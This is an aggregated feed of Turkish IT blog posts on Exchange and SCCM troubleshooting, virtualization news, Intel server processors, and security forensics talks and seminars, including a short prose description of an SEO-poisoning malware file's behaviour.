http://www.tayfundeger.com/microsoft-mac-kullanicilarini-gozune-kestirdi.html?utm_source=rss&utm_medium=rss&utm_campaign=microsoft-mac-kullanicilarini-gozune-kestirdi

description:
Mac kullanıcılarını SkyDrive kullanmaya yöneltmek için&#160;iCloud ile SkyDrive’ı karşılaştıran bir sayfa&#160;hazırladı. Dev şirketlerin bulut savaşı sürüyor. Microsoft, Apple ve Google’ın başını çektiği milyar dolarlık şirketler, bireysel kullanıcılar için bulut hizmeti sunmak için can atıyor. Ülkemizdeki operatörlerin de bulut rekabetine girdiği pazarda rekabet hızla artıyor. Dropbox’ın önemli ölçüde pazara hakim görünürken alanda&#160;Google Drive, Microsoft SkyDrive ve [...]


author: Tayfun DEĞER
title:
Exchange 2010 Kaldırma Hataları | Uninstall cannot continue. Database Mailbox Database…|The execution of: “$error.Clear(); Troubleshooting

source:
http://www.tayfundeger.com/exchange-2010-kaldirma-hatalari-uninstall-cannot-continue-database-mailbox-database%e2%80%a6the-execution-of-%e2%80%9cerror-clear-troubleshooting.html?utm_source=rss&utm_medium=rss&utm_campaign=exchange-2010-kaldirma-hatalari-uninstall-cannot-continue-database-mailbox-database%25e2%2580%25a6the-execution-of-%25e2%2580%259cerror-clear-troubleshooting

description:
Merhaba, Exchange 2010′u ortamdan kaldırırken çeşitli hatalar alabilmektesiniz. Ben de bugün iki hata ile karşılaştım ve bunların çözümünü bir yazıda toplamak istedim. Exchange 2010 üzerinde rolleri tek tek kaldırırken, Mailbox role kısmında bu hatayı aldım. Mail server üzerinde mailbox varsa bu hatayı alabiliyorsunuz. Bu durumda tüm mailboxları diğer mail servera taşımanız gerekiyor. Oysaki benim ortamımda [...]


title: Exchange 2010 SP2 upgrade problemi ( DiscoveryMailbox )
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/exchange-2010-sp2-upgrade-problemi-discoverymailbox.html?utm_source=rss&utm_medium=rss&utm_campaign=exchange-2010-sp2-upgrade-problemi-discoverymailbox

description:
Geçenlerde sistemlerim de Exchange 2010 SP1&#8242;den Service Pack2 upgrade işlemi planlamıştım. Upgrade aşamasında HUB ve CAS sunucular sorunsuz SP2 upgrade i olurken Mailbox Role sunucular da aşağıda ki hatayı aldım. DiscoverySearch mailbox ve Discovery Management grubu ile ilgili hata veriyordu ve kontrol ettiğimde Discovery Search mailbox&#8217;ı zaten sistemde vardı ve hatta sürekli kullandığım bir servisti. [...]


title: Exchange 2010 SP2 Automatic Reply ( out of office ) Problem
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/exchange-2010-sp2-automatic-reply-out-of-office-problem.html?utm_source=rss&utm_medium=rss&utm_campaign=exchange-2010-sp2-automatic-reply-out-of-office-problem

description:
Exchange 2010 Service Pack 2 upgrade&#8217;i sonrası karşılaştığım diğer bir problem ise sadece bir bölgeye hizmet veren mailbox role sunucusunda automatic reply (out of office) nin çalışmamasaydı. Event Viewer&#8217;ı incelediğimde aşağıda ki hata olayının sürekli düştüğünü gördüm. Anladığıma göre System Attendat mailbox&#8217;ı ile ilgili bir problemdi. System Attendat servisi ile ilgili basit bir hatırlatma yapacak [...]


title: Putty Kullanarak Citrix XenCenter Console Ekranına Bağlanmak
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/putty-kullanarak-citrix-xencenter-console-ekranina-baglanmak.html?utm_source=rss&utm_medium=rss&utm_campaign=putty-kullanarak-citrix-xencenter-console-ekranina-baglanmak

description:
Merhaba, bu yazımda Donanımsal olarak XenServera bağlanamadığımızda yada IT adminler için kolay bir yöntem olan Remote Console ekranına anlatacağım. Eğer Serverınız üzerinde ILO, RAS, DRAC vb bir remote menagement console yok ise üzülmeyin burda devreye putty giriyor. Putty http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html Linkten Putty’i indirerek çalıştırıyoruz. XenServer Host ipmizi yazıp Open diyerek Session başlatıyoruz. Root ve şifre girerek [...]


title: VDC Cloning: Create Clone DC objects on PDC failed: 0×2105 (8453)
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/vdc-cloning-create-clone-dc-objects-on-pdc-failed-0x2105-8453.html?utm_source=rss&utm_medium=rss&utm_campaign=vdc-cloning-create-clone-dc-objects-on-pdc-failed-0x2105-8453

description:
Windows Server 2012 ile beraber gelen VDC özelliğini kullanarak bir domain controller makinesini klonlamak isterken aşağıdaki gibi bir hata alabilirsiniz VDC Cloning: Create Clone DC objects on PDC failed: 0&#215;2105 (8453) Bu hatayı c:\windows\debug klasörü altındaki DCPROMO.log dosyasından edinebilirsiniz. Bu hatanın sebebi muhtemel öncesinden klonlama kaynağı olarak kullandığınız ve başarılı bir şekilde klonlanan bir ADC [...]


title: Windows Explorer Sağ Tıklama Menüsüne Copy To ve Move To Seçeneklerini Ekleme
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/windows-explorer-sag-tiklama-menusune-copy-to-ve-move-to-seceneklerini-ekleme.html?utm_source=rss&utm_medium=rss&utm_campaign=windows-explorer-sag-tiklama-menusune-copy-to-ve-move-to-seceneklerini-ekleme

description:
Windows üzerinde bulunan ve ancak regeditte yapacağımız bir düzenleme ile kullanma imkanına sahip olduğumuz Copy To ve Move To seçeneklerini aktifleştirelim. Herhangi bir dosya ya da klasörü sağ tıkladığınızda Copy To ya da Move To seçeneğini ile istediğiniz yere bu dosya ya da klasörü kopyalayabilmeniz oldukça güzel olurdu değil mi? Regeditte yapacağımız küçük eklemelerle Copy [...]


title: SCVMM Physical to Virtual Conversation (Internal error code: 0x809933BB) Hatası
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/scvmm-physical-to-virtual-conversation-internal-error-code-0x809933bb-hatasi.html?utm_source=rss&utm_medium=rss&utm_campaign=scvmm-physical-to-virtual-conversation-internal-error-code-0x809933bb-hatasi

description:
System Center Virtual Machine Manager ile Physical to Virtual Conversation yaparken aşağıdaki hata mesajı ile karşılaşabiliriz. The snapshot creation failed because the VSS writer {4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f} on source machine xxx did not respond within the expected time interval.&#160;(Internal error code: 0x809933BB) Bu sorunun çözümü için yapılması gereken işlem Regedit’i açarak‘HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList’&#160;altında yer alan .bak uzantılı key [...]


title: SCCM 2007 R3 requires Configuration Manager 2007 QFE KB977384
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/sccm-2007-r3-requires-configuration-manager-2007-qfe-kb977384.html?utm_source=rss&utm_medium=rss&utm_campaign=sccm-2007-r3-requires-configuration-manager-2007-qfe-kb977384

description:
Microsoft System Center Configuration Manager 2007 R3 kurulumu yapmaya çalıştığınızda aşağıdaki hata mesajını alıyorsanız yapmanız gereken işlem oldukça basit. Öncelikle&#160;http://support.microsoft.com/kb/977384&#160;adresinden gerekli hotfix’i indiriyoruz ve ardından bu hotfix’i sistemimize kuruyoruz. Eğer hotfix kurulumu sırasında sorun yaşarsanız komut satırından&#160;msiexec.exe /i SCCM2007-sp2-kb977384-enu.msi /qn&#160;komutunu kullanarak hotfix’i kurun. Sonrasında SCCM 2007 R3 kurulumunu sorunsuz bir şekilde gerçekleştirebilirsiniz.Benzer Yazılar:“You must close [...]


title: Exchange Server 2010 için Antivirüs tanımlamaları(İstisnalar)
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/exchange-server-2010-icin-antivirus-tanimlamalariistisnalar.html?utm_source=rss&utm_medium=rss&utm_campaign=exchange-server-2010-icin-antivirus-tanimlamalariistisnalar

description:
Exchange server 2010 üzerinde Antivirüs tanımlamaları &#160; Antivirüs yazılımı çoğu zaman ram’in tümünü kullanır.Sabit diski ve bilgisayar belleğini kullanan tüm dosyaları kontrol eder.Üzerinde antivirüs yazılımı bulunan exchange sunucularının performans kaybı yaşamaması&#160; ve sıkıntısız bir şekilde işlemlerine devam edebilmesi için 3 tip tanımlama(istisna) yapılması gereklidir. Exchange 2010 için tavsiye edilen antivirüs tanımlamaları Eğer exchange 2010 sunucularınızda [...]


title: iPad "Cannot Get Mail – The connection to the server failed" Hatası
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/ipad-cannot-get-mail-%e2%80%93-the-connection-to-the-server-failed-hatasi.html?utm_source=rss&utm_medium=rss&utm_campaign=ipad-cannot-get-mail-%25e2%2580%2593-the-connection-to-the-server-failed-hatasi

description:
Ipad ile email alış-verişi yapmak için exchange hesabınızı yapılandırma işlemi başarıyla tamamladığınızda hesap ayarlarında inbox seçeneği görünmüyor ve &#8220;Cannot Get Mail – The connection to the&#160;server failed&#8221; mesajı ile karşılaşıyorsanız yapmanız gereken işlem oldukça basit. Öncelikle Active Direcotry Users and Computers konsolunu açıp View=&#62;Advanced Features seçeneğini işaretliyoruz. Daha sonra kullanıcının içerisinde bulunduğu OU’nun üzerinde sağ [...]


title: PowerCli remove snapshot
author: Tayfun DEĞER
source:
http://www.tayfundeger.com/powercli-remove-snapshot.html?utm_source=rss&utm_medium=rss&utm_campaign=powercli-remove-snapshot

description:
Merhaba; Herhangi bir sorundan dolayı snapshot&#8217;u alıp silemezseniz aşağıda vereceğim komutları powercli üzerinde koşturarak sorunu çözebilirsiniz. Remove-Snapshot [-Snapshot] [-RemoveChildren] [-RunAsync] [-WhatIf] [-Confirm] [] Parameters &#160; NAME TYPE DESCRIPTION REQUIRED? PIPELINE INPUT DEFAULT VALUE Snapshot Snapshot[] Specify the snapshots you want to remove. true true (ByValue) Confirm SwitchParameter If the value is $true, indicates that the [...]


title: FORTINET Güvenlik Zirvesi 2011 Sunumu
source: http://www.halilozturkci.com/?p=190
author: admin
description:
<p><img title="Fortinet" src="http://www.adeosecurity.com/images/fortinet_logo.gif" alt="" width="200" height="25" />24 Mayıs 2011 tarihinde İstanbul Mövenpick otelde düzenlenen Fortinet Güvenlik Zirvesi 2011&#8242;de gerçekleştirdiğim &#8220;Client Side Exploitation&#8221; başlıklı sunuma ait dosyayı <a href="http://www.adeosecurity.com/sunum/Client_side_Exploitation.7z">buradan</a> indirebilirsiniz.</p>
<p>&nbsp;</p>


title: IstSec 2011 Sunum Dosyası
source: http://www.halilozturkci.com/?p=194
author: admin
description:
<p><img class="alignleft" style="margin: 3px; border: 3px solid black;" title="IstSec" src="http://www.adeosecurity.com/images/istsec.jpg" alt="IstSec" width="316" height="78" />3-4 Haziran 2011 tarihlerinde Bilgi Üniversitesi Dolapdere Kampüsünde gerçekleşen İstanbul Güvenlik Konferansı(IstSec)&#8217;da gerçekleştirdiğim sunuma ilişki slatyları aşağıdaki adresten indirebilirsiniz. ADEO Security Labs ekibi olarak IstSec&#8217;deki sunumlarımıza katılıp dinleyen herkese çok teşekkür ederiz. En kısa zamanda yeni konularla yeni konferanslarda görüşmek üzere.</p>
<p>&nbsp;</p>
<p>Halil ÖZTÜRKCİ &#8211;  Advanced Windows Registry Forensics  sunumunu indirmek için <a title="Advanced Windows Registry Forensics" href="http://www.adeosecurity.com/sunum/WindowsRegistryForensics-Istsec2011.pdf" target="_blank">tıklayın</a>.</p>


title: Online Storage Servislerinin Adli Bilişim Açısından İncelenmesi
source: http://www.halilozturkci.com/?p=204
author: admin
description:
<p>Bu makalemizde, günümüzde oldukça sık kullanılan anti forensics tekniklerinden birisi  olan uzak lokasyonlarda verinin saklanmasına ilişkin detayları ele alacağız. Bu tarz bir servisin şüpheli kişiler tarafından kullanılması durumunda şüpheli bilgisayarlar üzerinde ne tür izlerin yer alabileceği, adli bilişim uzmanlarının bu bilgisayarları inceleyerek ne tür delillere ulaşılabileceğini detaylı şekilde inceleyeceğimiz bu makalede üç farklı servisi ele alacağız.</p>
<p><a href="http://www.adeosecurity.com/digital-forensics/online-storage-servislerinin-adli-bilisim-acisindan-incelenmesi/">Yazının devamı için tıklayınız »</a></p>
<p>&nbsp;</p>


title: SEO Poisoning ve DisableRegistryTools Anahtarı
source: http://www.halilozturkci.com/?p=206
author: admin
description:
<p>“SEO Poisoning” üzerine araştırma yaparken incelediğim sitelerden birisi üzerinden bilgisayarıma indirilen “<strong>porno-video.avi.hta</strong>” isimli dosyayı analiz ederken ilginç bir registry anahtarı dikkatimi çekti.  Bu dosya incelendiğinde anlaşılacağı üzere çalıştırıldığı Windows bilgisayardaki Hosts dosyasını açarak çoğunluğu  Google’ın olmak üzere arama sitelerine ait farklı ülke kodu uzantılı siteleri bir IP adresine eşleyecek şekilde güncelleme gerçekleştiriyor. Ardından shell.regwrite ile ilgili sisteme üç adet yeni registry değeri ekliyor.</p>
<p><a href="http://www.adeosecurity.com/genel/seo-poisoning-ve-disableregistrytools-anahtari/#more-434">Yazının devamı için tıklayınız »</a></p>
<p>&nbsp;</p>


title: SANS Istanbul 2011
source: http://www.halilozturkci.com/?p=210
author: admin
description:
<p>SANS Organizasyonu bu sene 12-17 Eylül 2011 tarihleri arasında Türkiye’de Konferans formatında ilk defa eğitim verecek. SANS Organizasyonu’nun en popüler eğitimlerinden biri olan “Security 560: Network Penetration Testing and Ethical Hacking” Eğitimi SANS’ın yurtdışından gelecek olan bir Eğitmeni tarafından verilecek olup eğitimİstanbul’da Point Hotel Barbaros’da gerçekleştirilecek.</p>
<p>Eğitim, içerik olarak “Reconnaissance” ile başlayıp “Scanning” ,“Exploitation” ve “Password Attacks” şeklinde devam edip “Wireless Attacks” ve “Web Attacks” konularına değindikten sonra bütün anlatılanların bir CTF(Capture The Flag) uygulaması ile sonlandırılacağıbir eğitim olacak.<br />
Eğitimin sonunda katılımcılar SANS’ın GPEN (GIAC Certified Penetration Tester) Sertifikası’nı almaya hazır hale gelebilecekler. Eğitim ile ilgili geniş bilgi alabilmek ve kayıt olmak için <a href="http://www.sans.org/istanbul-2011-cs/description.php?tid=1717" target="_blank">http://www.sans.org/istanbul-2011-cs/description.php?tid=1717</a> adresini ziyaret edebilirsiniz. Sorularınız için <a href="mailto:Sorulariibrahimsaruhan@gmail.com">ibrahimsaruhan@gmail.com</a> adresine e-mail atabilirsiniz.</p>
<p><a href="http://www.sans.org/istanbul-2011-cs/description.php?tid=1717">http://www.sans.org/istanbul-2011-cs/description.php?tid=1717</a></p>


title: ADEO Security Labs Güvenlik Seminerleri
source: http://www.halilozturkci.com/?p=212
author: admin
description:
<p>ADEO Security Labs olarak düzenlediğimiz güvenlik seminerlerine davetlisiniz. Seminer programını aşağıda bulabilirsiniz. Seminerlere kayıt olmak için lütfen <a href="mailto:kayıt@adeo.com.tr">kayıt@adeo.com.tr</a> adresine katılmak istediğiniz seminerlerin günlerini de bildirecek şekilde bir mail atın.<br />
Program: <a href="http://www.adeosecurity.com/etkinlik/">www.adeosecurity.com</a><br />
Kayıt : <a href="mailto:kayit@adeo.com.tr?subject=[Etkinlik%20Kayıt]">kayit@adeo.com.tr</a></p>
<p>* Seminerler için katılımcı sayısı sınırlı olup, sadece kurumsal e-mail adreslerinden yapılan başvurular değerlendirilecektir.</p>
<h3>10 Eylül 2011 Programı</h3>
<table border="1" cellpadding="0">
<tbody>
<tr>
<td>Saat</td>
<td width="300">Konu</td>
<td>Konuşmacı</td>
</tr>
<tr>
<td>10:00 &#8211; 11:15</td>
<td><a href="http://adeosecurity.com/etkinlik/#filesysfor">File System Forensics</a></td>
<td><a href="http://adeosecurity.com/halil-ozturkci">Halil ÖZTÜRKCİ</a></td>
</tr>
<tr>
<td>11:15 &#8211; 11:30</td>
<td>Çay &amp; Kahve Molası</td>
<td></td>
</tr>
<tr>
<td>11:30 &#8211; 12:45</td>
<td><a href="http://adeosecurity.com/etkinlik/#fuzzing">Art of Fuzzing</a></td>
<td><a href="http://adeosecurity.com/canberk-bolat">Canberk BOLAT</a></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<h3>24 Eylül 2011 Programı</h3>
<table border="1" cellpadding="0">
<tbody>
<tr>
<td>Saat</td>
<td width="300">Konu</td>
<td>Konuşmacı</td>
</tr>
<tr>
<td>10:00 &#8211; 11:15</td>
<td><a href="http://adeosecurity.com/etkinlik/#winfor1">Windows Forensics I</a></td>
<td><a href="http://adeosecurity.com/halil-ozturkci">Halil ÖZTÜRKCİ</a></td>
</tr>
<tr>
<td>11:15 &#8211; 11:30</td>
<td>Çay &amp; Kahve Molası</td>
<td></td>
</tr>
<tr>
<td>11:30 &#8211; 12:45</td>
<td><a href="http://adeosecurity.com/etkinlik/#expdev">Exploit Development</a></td>
<td><a href="http://adeosecurity.com/canberk-bolat">Canberk BOLAT</a></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<h3>8 Ekim 2011 Programı</h3>
<table border="1" cellpadding="0">
<tbody>
<tr>
<td>Saat</td>
<td width="300">Konu</td>
<td>Konuşmacı</td>
</tr>
<tr>
<td>10:00 &#8211; 11:15</td>
<td><a href="http://adeosecurity.com/etkinlik/#winfor2">Windows Forensics II</a></td>
<td><a href="http://adeosecurity.com/halil-ozturkci">Halil ÖZTÜRKCİ</a></td>
</tr>
<tr>
<td>11:15 &#8211; 11:30</td>
<td>Çay &amp; Kahve Molası</td>
<td></td>
</tr>
<tr>
<td>11:30 &#8211; 12:45</td>
<td><a href="http://adeosecurity.com/etkinlik/#coding">Coding with Metasploit</a></td>
<td><a href="http://adeosecurity.com/canberk-bolat">Canberk BOLAT</a></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<h3>22 Ekim 2011 Programı</h3>
<table border="1" cellpadding="0">
<tbody>
<tr>
<td>Saat</td>
<td width="300">Konu</td>
<td>Konuşmacı</td>
</tr>
<tr>
<td>10:00 &#8211; 11:15</td>
<td><a href="http://adeosecurity.com/etkinlik/#netfor">Network Forensics</a></td>
<td><a href="http://adeosecurity.com/halil-ozturkci">Halil ÖZTÜRKCİ</a></td>
</tr>
<tr>
<td>11:15 &#8211; 11:30</td>
<td>Çay &amp; Kahve Molası</td>
<td></td>
</tr>
<tr>
<td>11:30 &#8211; 12:45</td>
<td><a href="http://adeosecurity.com/etkinlik/#webpentest">Web Application Pentest</a></td>
<td><a href="http://adeosecurity.com/canberk-bolat">Canberk BOLAT</a></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>


title: ADEO Security Labs Güvenlik Günleri-10 Eylül 2011 Sunum Videoları
source: http://www.halilozturkci.com/?p=217
author: admin
description:
<p>ADEO Security Labs tarafından düzenlenen Güvenlik Günlerinin birincisine ait videolar yayınlandı. &#8220;<strong>File System Forensics</strong>&#8221; ve &#8220;<strong>Art of Fuzzing</strong>&#8221; başlıklı sunumların videolarını <a title="ADEO Security Labs Güvenlik Günleri" href="http://www.adeosecurity.com" target="_blank">http://www.adeosecurity.com</a> adresi üzerinden izleyebilirsiniz.</p>


title: NIST, Computer Security Incident Handling Guide’ın Güncellenmiş Halini Yayınladı.
source: http://www.halilozturkci.com/?p=225
author: admin
description:
<p>NIST 800-61 olarak da bilinen ve <a href="http://csrc.nist.gov/publications/drafts/800-61-rev2/draft-sp800-61rev2.pdf">http://csrc.nist.gov/publications/drafts/800-61-rev2/draft-sp800-61rev2.pdf</a> adresinden indirilebilecek dokümanın temel amacı herhangi bir istenmeyen olayla karşılaşılması durumunda kurumların olay müdahalesini (Incident Response) efektif şekilde nasıl yapmaları gerektiğini anlatmak.</p>
<p>Dokümanın yönetici özeti kısmında yazılanların kısa özeti başlıklar halinde şöyle;</p>
<ul>
<li>Kurumlar mutlaka kendi başlarına olaylara müdahale edebilecekleri bir yapı oluşturmalı ve bu yapıyı kullanmalıdırlar.Bu yeteneğin kazandırılması ile ilgili olarak sıralanan konu başlıkları ise şöyle;
<ul>
<li>Kurumlar mutlaka bir Incident Response (Olay müdahale) politikası ve planı oluşturmalıdırlar.</li>
<li>Olaylara nasıl müdahale edileceğine ve raporlanacağına dair prosedürler geliştirilmelidir.</li>
<li>Olay ile ilgili iletişime geçilmesi gereken 3. partiler ile ne şekilde bir iletişim kurulacağı dokümante edilmelidir.</li>
<li>Olay müdahale takımının kimler tarafından hangi modelle oluşturulacağı belirlenmelidir.</li>
<li>Olay müdahale takımının gerek iç gerekse dış gruplarla (örneğin içerde IK ve Hukuk departmanı ile, dışarda kolluk kuvvetleri ile ) ne şekilde bir ilişki içinde olacağı belirlenmelidir.</li>
<li>Olay müdahale takımının vereceği servislerin ne olacağı belirlenmelidir.</li>
<li>Olay müdahale takımındaki kişilerin eğitim planlaması yapılmalıdır.</li>
</ul>
</li>
<li>Kurumlar kendi networklerini, sistemlerini ve uygulamalarını efektif şekilde koruyarak gerçekleşebilecek incident saysısını düşürmelidirler.</li>
<li>Kurumlar bir incident ile ilgili olarka diğer organizasyon veya kurumlarla ne şekilde etkileşimde olacağını önceden belirlemelidirler.</li>
<li>Kurumlar kendi içlerinde oluşturacakları yapılar ile genel manada her türlü olaya müdahale edebilmeli, özellikle de en çok karşılaşılan olaylarla ilgili olarak yetenek sahibi olmalıdırlar.</li>
<li>Kurumların kendilerinin  bir olayı tespit ve analiz etme yeteneğine sahip olmalarının önemi kurumlar tarafından mutlaka kavranmalıdır.</li>
<li>Kurumlar mutlaka yazılı şekilde bir olay önceliklendirme dokümanına sahip olmalıdırlar.</li>
<li>Kurumlar karşılaştıkları olaylar ve bu olaylara nasıl müdahale ettikler ile ilgili olarak mutlaka bir ders çıkarmalı ve olay müdahale politikaları, planları ve prosedürlerine bu dersleri yansıtmalıdırlar.</li>
</ul>
<p>Dokümanın ikinci kısmında event ve incident arasındaki farklar güzel örneklerle anlatılmış. Bunun yanında üçüncü bölümde yer alan Standart İşletim Prosedürleri (Standard Operating Procedures-SOPs) oldukça detaylı ve kendi şirketinize/kurumunuza kolayca adapte edebileceğiniz yapıda hazırlanmış.</p>


title: Social Network Malware Attacks Sunum Dosyası
source: http://www.halilozturkci.com/?p=237
author: admin
description:
<p>NetSec Ağ ve Bilgi Güvenliği Topluluğu tarafından Microsoft Türkiye ofisinde düzenlenen “Siber Savaş Aracı Olarak Kötücül Yazılımlar” konulu etkinlikte sunduğum &#8220;Social Network Malware Attacks&#8221; başlıklı sunum slaytlarına <a title="Social Network Malware Attacks" href="http://www.halilozturkci.com/sunumlar/SocialNetworkMalwareAttacks.pptx" target="_blank">buradan</a> erişebilirsiniz. Kendi adıma büyük keyif alarak katıldığım bu etkinliğin düzenlenmesinde emeği geçen bütün arkadaşlara çok teşekkür ediyorum.<img class="alignleft" title="Netsec Sunumu" src="http://www.halilozturkci.com/resimler/netsectoplantisi.jpg" alt="" width="576" height="384" /></p>


title: iPhone ve iOS Forensics Sunumu
source: http://www.halilozturkci.com/?p=242
author: admin
description:
<p>ISSA Turkey Grand Security Conference 2012 kapsamında geçtiğimiz Cuma günü Microsoft Türkiye ofisinde gerçekleştirdiğim “<strong>iPhone ve iOS Forensics</strong>” başlıklı konuşmaya ilişkin sunum dosyasını aşağıdaki adresten indirebilirsiniz.</p>
<p><a href="http://www.halilozturkci.com/sunumlar/iPhone_ve_iOS_Forensics-ADEOSecurity.pdf">http://www.halilozturkci.com/sunumlar/iPhone_ve_iOS_Forensics-ADEOSecurity.pdf</a></p>


title: IBM System Networking Distributed Virtual Switch 5000V
source: http://www.aslankara.com/ibm-system-networking-distributed-virtual-switch-5000v/
author: Erkal Aslankara
description:
<p><a href="http://www.aslankara.com/wp-content/uploads/2010/12/ibmlogo1.jpg" rel="lightbox[684]"><img class="alignright size-full wp-image-433" title="ibmlogo" src="http://www.aslankara.com/wp-content/uploads/2010/12/ibmlogo1.jpg" alt="" width="150" height="73" /></a>Sonunda Cisco dışında bir üretici daha vSphere altyapısı için bir vSwitch piyasaya sürdü. IBM geçtiğimiz günlerde vSphere Enterprise Plus ürünü üzerine add-on olarak eklenebilen ve sanal ortamınız için gelişmiş switching kabiliyetleri sunan bir sanal switch duyurdu.</p>
<p>Sunduğu özellikler kısaca şöyle;</p>
<ul>
<li>Manageability - Telnet, SSH, SNMP, TACACS+, RADIUS, Industry Standard CLI</li>
<li>Advanced networking features - L2-L4 ACLs, Static and Dynamic port aggregation, PVLAN, QoS, EVB (IEEE 802.1Qbg)</li>
<li>Network troubleshooting - SPAN, ERSPAN, sFlow, Syslog, VM network statistic</li>
</ul>
<p>Ürün hakkında detaylı bilgi için aşağıdaki adresi ziyaret edebilirsiniz.</p>
<p><a href="http://www-01.ibm.com/common/ssi/cgi-bin/ssialias?subtype=ca&amp;infotype=an&amp;appname=iSource&amp;supplier=897&amp;letternum=ENUS212-052">http://www-01.ibm.com/common/ssi/cgi-bin/ssialias?subtype=ca&amp;infotype=an&amp;appname=iSource&amp;supplier=897&amp;letternum=ENUS212-052</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>


title: vSphere 5 update 1 yayınlandı
source: http://www.aslankara.com/vsphere-5-update-1-yayinlandi/
author: Erkal Aslankara
description:
<p><a href="http://www.aslankara.com/wp-content/uploads/2011/02/vmware-logo.png" rel="lightbox[688]"><img class="alignright  wp-image-458" title="vmware-logo" src="http://www.aslankara.com/wp-content/uploads/2011/02/vmware-logo.png" alt="" width="286" height="72" /></a>15 Mart 2012 tarihi itibariyle vSphere 5.0.1 sürümü yayınlandı. Bu sürüm 5.0 sonrasında çıkan tüm güncellemeleri içeriyor ve aşağıdaki yeni özellikleri sağlıyor.</p>
<ul>
<li>AMD ve Intel tarafından sunulan yeni nesil işlemciler için destek eklendi. (bkz: <a href="http://www.vmware.com/resources/compatibility/search.php" target="_blank">HCG</a>)</li>
<li>Mac OS X 10.7.2 ve 10.7.3 için guest os desteği eklendi.</li>
<li>Intel C600 serisi ve LSI MegaRAID SAS (version 5.34) için native storage sürücüleri eklendi.</li>
<li>vCenter tarafında Windows 8, Ubuntu (10.04-11.10) ve SLES 11 SP2 için guest customization desteği eklendi.</li>
</ul>
<p>Download için : <a href="http://www.vmware.com/go/download-vsphere" target="_blank">www.vmware.com/go/download-vsphere</a></p>
<p>Release Notları :</p>
<p><a href="http://www.vmware.com/support/vsphere5/doc/vsp_vc50_u1_rel_notes.html" target="_blank">VMware vCenter Server 5.0 Update 1 Release Notes</a></p>
<p><a href="http://www.vmware.com/support/vsphere5/doc/vsp_esxi50_u1_rel_notes.html" target="_blank">VMware ESXi 5.0 Update 1 Release Notes</a></p>
<p>&nbsp;</p>


title: Intel E5 işlemci mimarisi
source: http://www.aslankara.com/intel-e5-islemci-mimarisi/
author: Erkal Aslankara
description:
<p>Intel yeni nesil işlemcisini duyuralı uzunca bir süre geçti aslında ancak IBM tarafında M4 ve HP tarafında G8 sunucular ile E5 mimarisi hayatımıza iyice girdi. Ben de bu konu hakkında kısa ve öz bilgi paylaşımı yapmak istedim.</p>
<p>Öncelikle E5 işlemciler (aslında Sandy Bridge-EP ailesinin tamamı) Intel'in <a href="http://www.intel.com/content/www/us/en/silicon-innovations/intel-tick-tock-model-general.html" target="_blank">Tick-Tock</a> inovasyon modelinde 32nm işlemcilerin "tock" adımını temsil ediyor. Bundan sonraki model olan "Ivy Bridge" ise  üretim teknolojisi olarak 22nm kullanılacak.</p>
<p style="text-align: center;"><a href="http://www.aslankara.com/wp-content/uploads/2012/04/intel_tick_tock_model.jpg" rel="lightbox[694]"><img class="aligncenter  wp-image-695" title="intel_tick_tock_model" src="http://www.aslankara.com/wp-content/uploads/2012/04/intel_tick_tock_model.jpg" alt="" width="566" height="227" /><span id="more-694"></span></a></p>
<p>E serisi bu işlemcilerde Westmere ailesine mensup 5600 serileri ile kıyaslandığında göze çarpan bazı noktalara dikkat çekmek istiyorum.</p>
<p>&nbsp;</p>
<table border="0" cellspacing="0" cellpadding="5">
<tbody>
<tr>
<td></td>
<td><strong>E5 Series (Sandy Bridge-EP)</strong></td>
<td><strong>5600 Series (Westmere-EP)</strong></td>
</tr>
<tr>
<td><strong>Maximum Cores</strong></td>
<td><strong>8</strong></td>
<td>6</td>
</tr>
<tr>
<td><strong>Turbo Boost Version</strong></td>
<td><strong>2.0</strong></td>
<td>1.0</td>
</tr>
<tr>
<td><strong>L2 Cache per core</strong></td>
<td>256KB</td>
<td>256KB</td>
</tr>
<tr>
<td><strong>Maximum L3 Cache</strong></td>
<td><strong>20MB</strong></td>
<td>12MB</td>
</tr>
<tr>
<td><strong>QPI Link Speed</strong></td>
<td><strong>Up to 8.0GT/s</strong></td>
<td>Up to 6.4GT/s</td>
</tr>
<tr>
<td><strong>Memory Channel Support</strong></td>
<td><strong>Up to 4 </strong><strong>DDR3 1600MHz </strong><strong>per CPU</strong></td>
<td>Up to 3 DDR3 1333MHz per CPU</td>
</tr>
<tr>
<td><strong>Process Technology</strong></td>
<td>32nm</td>
<td>32nm</td>
</tr>
<tr>
<td style="text-align: left;"><strong>Socket</strong></td>
<td style="text-align: left;"><strong>2011</strong></td>
<td style="text-align: left;">1366</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Intel bu yeni işlemci ailesi ile 5600 serisine göre %80'e varan performans kazanımı elde etmenin mümkün olduğunu iddia ediyor. Bağımsız testler ise ortalama %20-25 oranında net kazanım olduğunu gösteriyor. Ayrıca SAP uygulaması için bu işlemcileri kullanacak kişiler için referans niteliğinde olan <a href="http://www.sap.com/solutions/benchmark/sd2tier.epx" target="_blank">SAPS benchmark'ları</a> yayınlanmaya başladı. SAPS değerlerine göre baktığımızda ise örneğin IBM tarafında M3 ile M4 modeller arasında %60-70 arası bir performans iyileştirmesi görebiliyoruz ki bu değerler hiç de azımsanacak değerler değil. Bu performans arttırımının ardında yatan teknolojiler şunlar.</p>
<ul>
<li>Daha fazla çekirdek</li>
<li>Daha yüksek önbellek</li>
<li>Yeni nesil Turbo Boost teknolojisi</li>
<li>Daha yüksek QPI band genişliği</li>
<li>Intel AVX teknolojisi</li>
</ul>
<p>Bu teknolojilerin detayları ile ilgili aşağıdaki videoya göz atabilirsiniz.</p>
<p><center><iframe src="http://www.youtube.com/embed/GMsDTdUtpP0" frameborder="0" width="560" height="315"></iframe></center></p>


